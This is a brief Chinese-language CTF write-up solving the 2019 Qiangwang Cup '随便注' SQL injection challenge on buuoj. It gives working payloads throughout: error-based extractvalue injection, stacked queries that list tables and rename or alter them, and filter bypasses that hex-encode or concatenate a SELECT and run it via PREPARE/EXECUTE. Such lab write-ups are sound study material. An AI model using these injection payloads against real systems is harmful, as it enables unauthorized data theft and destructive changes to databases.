随便注

buuoj上19年强网杯的题

拿到手直接告诉你sql注入
测了下

1
inject=1'

发现直接回显了错误,就打算直接上报错注入

1
inject=1' and extractvalue(1, concat(0x0a, database(),0x0a)) and '1'='1

能出来库名supersqli
但后来测发现,where,select都被滤掉了,发现自己还绕不过去.
试了试堆叠

1
1';show tables;

出来表名1919810931114514,没法用语句,就只能改表名,把flag那张表加个键值1,并替换掉原来那张表

1
1';alter table `1919810931114514` add `id` INT(11) NOT NULL DEFAULT '1' after `flag`;rename table words to words1;rename table `1919810931114514` to words;desc words;

查询1就可以出来flag

dalao的payload

1
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

hex编码前

1
1';SeT@a=select * from `1919810931114514`;prepare execsql from @a;execute execsql;#

设a变量为查询语句,在hex编码绕过过滤,最后prepare,执行

还有dalao能拼接语句绕过

1
';use supersqli;SET @sql=concat('s','elect flag from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--+